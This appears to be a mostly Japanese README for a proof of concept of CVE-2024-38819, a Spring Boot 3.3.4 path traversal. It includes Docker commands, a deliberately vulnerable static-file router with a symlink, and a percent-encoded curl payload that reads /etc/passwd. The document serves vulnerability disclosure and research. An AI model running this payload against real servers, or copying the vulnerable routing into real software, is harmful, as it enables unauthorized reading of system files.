
Proof of concept demonstrating a path traversal exploit in Spring Boot 3.3.4 via symbolic link and percent-encoded directory traversal, for security research and education.
これは、私が報告した CVE-2024-38819 脆弱性の概念実証であり、パストラバーサル(ディレクトリトラバーサル)のエクスプロイトを示しています。
Docker イメージをビルドします(Spring Boot 3.3.4、Spring Framework 6.1.13 ベース)
cd vuln
docker build -t cve-2024-38819-poc .
コンテナを実行し、ポート 8080 をホストマシンに公開します
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
次のコマンドを実行して PoC を実行し、脆弱性を確認します
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
攻撃が成功すると、/etc/passwd ファイルの内容が表示されます。
RouterFunction と FileSystemResource を使用して静的ファイルのルーティングを設定するために、次のコードで PathTraversalDemoApplication.java を作成します:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
シンボリックリンクを作成するために、Dockerfile に次のコマンドを追加します:
RUN ln -s /static /app/static/link
パーセントエンコーディングを利用して、シンボリックリンクを介してディレクトリをトラバースするペイロードを作成します。
/static/link/%2e%2e/etc/passwd次の curl コマンドを使用して PoC を実行し、攻撃が成功するかどうかを確認します:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
攻撃が成功すると、/etc/passwd ファイルの内容が表示されます。
この PoC は、教育およびセキュリティ研究を目的として提供されています。実際のシステムで使用する前に、脆弱性が修正されていることと、適切な許可を得ていることを確認してください。著者は、このコードの誤用について一切責任を負いません。